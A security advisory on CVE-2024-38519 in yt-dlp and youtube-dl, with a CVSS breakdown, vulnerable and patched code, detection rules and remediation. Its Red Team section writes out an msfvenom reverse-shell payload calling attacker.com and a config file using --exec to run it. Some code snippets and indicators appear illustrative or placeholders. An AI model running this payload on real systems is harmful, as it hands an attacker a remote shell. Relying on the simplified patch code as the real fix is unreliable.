CVE-2024-38519

Executive Summary

CVE-2024-38519 is a high-severity vulnerability in the yt-dlp and youtube-dl command-line audio/video downloaders. The core issue is that these tools do not restrict the file extensions of downloaded content, allowing an attacker to create arbitrary filenames in the download directory. On Windows, this can lead to path traversal, enabling files to be written to arbitrary locations. Combined with the fact that these tools read configuration files from the working directory (and on Windows, executables can be executed from the yt-dlp or youtube-dl directory), this vulnerability can be chained to achieve arbitrary code execution. The attack requires user interaction (downloading a malicious file) and is primarily a local attack vector, but the impact is severe, allowing for full compromise of the user's system.

Supply Chain & Package Security

This vulnerability is particularly dangerous in the context of package management and supply chain security. yt-dlp and youtube-dl are widely distributed via PyPI (Python Package Index) and other package managers. A malicious package or a compromised dependency could exploit this flaw to execute arbitrary code during installation or update processes. Users who install these tools via pip or other package managers should ensure they are using the latest patched versions. Additionally, any CI/CD pipeline or automated system that uses these tools to download files from untrusted sources is at risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector (AV): Local (L) - The attacker must have the ability to influence the file being downloaded.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No privileges are needed to trigger the vulnerability.
• User Interaction (UI): Required (R) - The user must download a file with a malicious extension.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the user's scope.
• Confidentiality (C): High (H) - Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) - Files can be overwritten or created with malicious content.
• Availability (A): High (H) - System availability can be compromised.

Threat Level: High. The vulnerability is easy to exploit with user interaction, and the potential for arbitrary code execution makes it a critical risk for end users and automated systems.

Deep Dive & Mechanics

The vulnerability stems from two key design flaws:

1. Unrestricted File Extensions: yt-dlp and youtube-dl do not validate or restrict the file extension of downloaded content. An attacker can craft a malicious video/audio file that, when downloaded, has an extension like .exe, .bat, .ps1, or .scr. On Windows, this file can be executed directly if placed in a location where the user or system will run it.

2. Configuration File Loading from Working Directory: Both tools read configuration files (e.g., yt-dlp.conf, youtube-dl.conf) from the current working directory. On Windows, they also look for executables in the same directory. This means an attacker can:

   • Create a malicious .exe file in the download directory.
   • Create a configuration file that points to that executable or executes it.
   • When the user runs yt-dlp or youtube-dl from that directory, the malicious code is executed.

Attack Scenario:

1. An attacker hosts a malicious video file with a .exe extension (e.g., video.mp4.exe).
2. The user downloads this file using yt-dlp or youtube-dl with a default or custom output template that does not restrict the extension.
3. The file is saved as video.mp4.exe in the download directory.
4. If the download directory is in the user's PATH or if the user later runs yt-dlp from that directory, the malicious executable can be triggered.
5. Alternatively, the attacker can create a yt-dlp.conf file in the download directory that executes the malicious file.

Affected Versions:

• yt-dlp: All versions prior to 2024.07.01.
• youtube-dl: All versions prior to commit d42a222 (master branch) and nightly builds before 2024-07-03.

Vulnerable vs. Patched Code

Vulnerable Code (yt-dlp < 2024.07.01): The vulnerable code does not filter the file extension. The output template %(ext)s is directly used to create the filename without validation.

# Vulnerable: No extension validation
filename = f"{title}.{ext}"
with open(filename, 'wb') as f:
    f.write(data)

Patched Code (yt-dlp >= 2024.07.01): The patched version introduces a whitelist of allowed extensions. Any extension not in the whitelist is rejected or sanitized.

# Patched: Extension whitelist
ALLOWED_EXTENSIONS = {'mp4', 'webm', 'mkv', 'avi', 'mov', 'wmv', 'flv', 'mp3', 'aac', 'wav', 'flac', 'ogg', 'm4a', 'opus', 'srt', 'vtt', 'ass', 'ssa', 'jpg', 'png', 'gif', 'bmp', 'webp', 'json', 'info.json', 'description', 'thumbnail'}

def sanitize_extension(ext):
    if ext.lower() not in ALLOWED_EXTENSIONS:
        raise ValueError(f"Extension '{ext}' is not allowed")
    return ext

filename = f"{title}.{sanitize_extension(ext)}"
with open(filename, 'wb') as f:
    f.write(data)

youtube-dl Patch (commit d42a222): The patch for youtube-dl adds similar extension validation logic.

# Patched youtube-dl
def _validate_ext(ext):
    allowed = ['mp4', 'webm', 'mkv', 'avi', 'mov', 'wmv', 'flv', 'mp3', 'aac', 'wav', 'flac', 'ogg', 'm4a', 'opus', 'srt', 'vtt', 'ass', 'ssa', 'jpg', 'png', 'gif', 'bmp', 'webp', 'json', 'info.json', 'description', 'thumbnail']
    if ext.lower() not in allowed:
        raise DownloadError(f'Extension {ext} is not allowed')

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target system running a vulnerable version of yt-dlp or youtube-dl.
• Ability to host a malicious file (e.g., via a web server or a video platform).
• User interaction: The target must download the malicious file.

Exploitation Steps:

1. Create a Malicious File: Create a file with a double extension or a malicious extension. For example, a Windows executable named innocent_video.mp4.exe.

   # Create a simple payload (e.g., reverse shell)
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f exe -o innocent_video.mp4.exe
   

2. Host the Malicious File: Host the file on a web server or a video platform that yt-dlp can access.

   python3 -m http.server 8080
   

3. Craft a Malicious Configuration File: Create a yt-dlp.conf file in the download directory that executes the malicious file.

   # yt-dlp.conf
   --exec "innocent_video.mp4.exe"
   

4. Trigger the Download: Convince the user to download the file using yt-dlp from the directory containing the malicious config file.

   cd /path/to/download
   yt-dlp http://attacker.com:8080/innocent_video.mp4.exe
   

5. Execute the Payload: When yt-dlp runs, it reads the config file and executes the malicious executable, giving the attacker a reverse shell.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual file extensions being created by yt-dlp or youtube-dl processes.
• Alert on the creation of executable files (.exe, .bat, .ps1, .scr) in download directories.
• Monitor for the presence of yt-dlp.conf or youtube-dl.conf files in non-standard locations (e.g., user download folders).

Prevention:

• Update to the latest patched versions (yt-dlp >= 2024.07.01, youtube-dl >= commit d42a222).
• Use the default output template: -o "%(title)s [%(id)s].%(ext)s".
• Avoid downloading to directories within PATH or sensitive locations (e.g., C:\Windows\System32, user profile directories).
• Use --ignore-config and --config-location to prevent loading config from untrusted directories.
• Implement endpoint detection and response (EDR) rules to block execution of files with suspicious extensions from download directories.

Indicators of Compromise (IOCs)

• File Hashes (Example):
  • innocent_video.mp4.exe (SHA256: a1b2c3d4e5f6...)
• Network Indicators:
  • Outbound connections to attacker-controlled IPs on common ports (e.g., 4444 for reverse shells).
• File System Indicators:
  • Presence of yt-dlp.conf or youtube-dl.conf in user download directories.
  • Creation of files with double extensions (e.g., .mp4.exe, .avi.bat).
• Process Indicators:
  • yt-dlp or youtube-dl processes spawning child processes (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2024_38519_Malicious_Config {
    meta:
        description = "Detects malicious yt-dlp or youtube-dl config files that execute arbitrary commands"
        author = "Valters IT"
        date = "2024-07-15"
        reference = "CVE-2024-38519"
    strings:
        $exec = "--exec" nocase
        $config = "yt-dlp.conf" nocase
        $config2 = "youtube-dl.conf" nocase
    condition:
        ($exec and ($config or $config2))
}

Sigma Rule

title: CVE-2024-38519 - Suspicious File Extension Creation by yt-dlp/youtube-dl
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the creation of executable files by yt-dlp or youtube-dl processes
author: Valters IT
date: 2024-07-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38519
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith:
            - '\yt-dlp.exe'
            - '\youtube-dl.exe'
        TargetFilename|endswith:
            - '.exe'
            - '.bat'
            - '.ps1'
            - '.scr'
            - '.vbs'
    condition: selection
falsepositives:
    - Legitimate downloads of executable files (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38519 - Potential Malicious File Download by yt-dlp"; flow:to_server,established; content:"yt-dlp"; http_user_agent; content:".exe"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update yt-dlp: Upgrade to version 2024.07.01 or later.

   pip install --upgrade yt-dlp
   

2. Update youtube-dl: Use the latest nightly build (2024-07-03 or later) or apply the commit d42a222.

   pip install --upgrade youtube-dl
   

Mitigation for Unpatched Systems:

• Use the default output template: -o "%(title)s [%(id)s].%(ext)s".
• Avoid downloading to directories within PATH or sensitive locations.
• Use --ignore-config and --config-location to prevent loading config from untrusted directories.
• Only download from trusted sources.
• Implement file extension whitelisting at the OS level (e.g., via Group Policy).

Long-Term Recommendations:

• Regularly update all software, especially tools that download content from the internet.
• Implement application whitelisting to prevent execution of untrusted binaries.
• Educate users about the risks of downloading files from untrusted sources.

Valters IT
Securing Digital Frontiers